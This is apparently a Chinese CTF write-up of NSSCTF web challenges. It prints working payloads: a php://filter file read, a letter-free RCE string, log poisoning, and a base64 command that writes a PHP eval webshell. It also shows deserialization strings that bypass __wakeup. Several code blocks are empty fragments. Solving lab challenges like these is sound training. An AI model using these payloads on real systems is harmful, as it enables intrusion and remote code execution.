NSSCTF刷题
[Week1]Interesting_http
Please post me a want !
Burp抓包改包(没下hackbar,先凑合)
Content-Type:application/x-www-form-urlencoded
我们想要flag,把want设置为flag试试看
可以看到一个cookie user=notadmin,那我们传一个cookie user=admin试试
not location,卡了很久没想通
然后看到学弟说加了XFF头就过了,就试了试
有点无语,这应该写not local啊
[Week1]easy_html
查看cookie,得到f14g.php。要求输入手机号,长度为10。发一个长度超过10的过去。
[Week1]Interesting_include
1 |
|
1 | http://43.143.7.97:28758/fi/?filter=php://filter/read=convert.base64-encode/resource=flag.php |
得到: PD9waHAKCiRmbGFnID0gJ2ZsYWc9TlNTQ1RGezRlZTY1Yjg3LWRkNTMtNGNlOS1iNGZiLTQ0MGVmZTQzMzA0YX0nOwo/Pg==
解base64得到:
1 |
|
[Week1]2048
在JS代码里找到
1 | span.innerHTML=this.score; |
放到浏览器控制台里运行
[Week1]easy_upload
尝试传一句话木马上去,发现能传
1 |
|
尝试执行函数, cmd=phpinfo();
说明拿到webshell,上蚁剑!
[Week1]What is Web
我还去附件里找了找,发现没有和html相关的。看了眼注释
无语了,那你让我下个burp和chrome……
[Week1]Challenge__rce
1 |
|
- 长度需<120
- 需要是字符串
貌似除了数字和括号全被过滤了
1 | $_1=[].[];$_= $_1[0];++$_;$_2=++$_;++$_;++$_;++$_;++$_;$_=$_2.++$_.$_1[1];$_=_.$_(71).$_(69).$_(84);($$_{1})($$_{2}); |
然后在url处设置1=system $2=自己想执行的命令。比如 ls /
[WEEK2]easy_include
1 |
|
日志文件往往会包含我们的请求记录,如果我们知道日志的文件位置,那么我们就可以将恶意的php代码写入到日志中,然后再通过文件包含漏洞就可以执行相关的代码。
1 | ?file=/var/log/nginx/access.log |
[WEEK2]Canyource
1 |
|
这里使用preg_replace
替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于[^A-Za-z0-9]
,然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;
以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。
关键函数
getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
适用于:php7以上的版本
1 | ?code=var_dump(getenv()); |
getallheaders():获取所有 HTTP 请求标头,是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用
传入?code=print_r(getallheaders());,数组返回 HTTP 请求头
current():返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值
end():将数组的内部指针指向最后一个单元
1 | ["PHP_EXTRA_CONFIGURE_ARGS"]=> |
发现php版本是7.3.22
1 | /?code=eval(end(current(get_defined_vars())));&flag=system('ls'); |
利用如下命令写马
echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+ |base64 -d > webshell.php
然后上蚁剑读flag.php即可
[WEEK2]ez_ssrf
1 |
|
发现flag就在当前目录下,为flag.php,我们只要借助ssrf访问这个就行了
fsockopen — 打开一个网络连接或者一个Unix套接字连接 。官方文档示例
1 |
|
可以看见,fsockopen打开一个连接之后,将其当作文件操作,写入的就是请求。
回过来看本题,会发现该题就是让我们输入请求
1 |
|
[WEEK2]easy_sql [stuck]
id=1 ==> 正常回显
id=1a ==> 用户不存在
id=1# ==>error
说明是字符型注入
1’or’1’=’1能够正常回显,但是1’却没有报error
确定了闭合方式是单引号,但应该是对末尾位置的单引号做了过滤
[WEEK2]easy_unser
序列号&反序列化的题
主函数逻辑如下,我们要传入一个序列
1 | $obj = new unserializeorder(); |
flag相关代码在body类的__destruct()方法里
1 | function __destruct(){ |
显然,我们需要传入一个body类,该类结构如下
1 | class body{ |
首先,private则会在变量名前加上\x00类名\x00 ,输出时一般需要url编码。
1 | O:4:"body":2:{s:10:"%00body%00want";s:8:"f14g.php";s:17:"%00body%00todonothing";s:76:"i can't get you want,But you can tell me before I wake up and change my mind";} |
执行unserialize()时,先会调用函数__wakeup()
, 会修改want,需要绕过。序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup
的执行。
1 | O:4:"body":3:{s:10:"%00body%00want";s:8:"f14g.php";s:17:"%00body%00todonothing";s:76:"i can't get you want,But you can tell me before I wake up and change my mind";s:8:"bypass"} |
最后就是需要绕过($this->want == "f14g.php" OR is_file($this->want))
is_file判断给定文件名是否为一个正常的文件,返回值为布尔类型。is_file会认为php伪协议不是文件。但highlight_file认为伪协议可以是文件。
php://filter/read=convert.base64-encode/resource=[文件名]
是比较常用的用来读php文件的
1 | O:4:"body":3:{s:10:"%00body%00want";s:57:"php://filter/read%3dconvert.base64-encode/resource%3df14g.php";s:17:"%00body%00todonothing";s:76:"i%20can't%20get%20you%20want,But%20you%20can%20tell%20me%20before%20I%20wake%20up%20and%20change%20my%20mind";s:8:"bypass"} |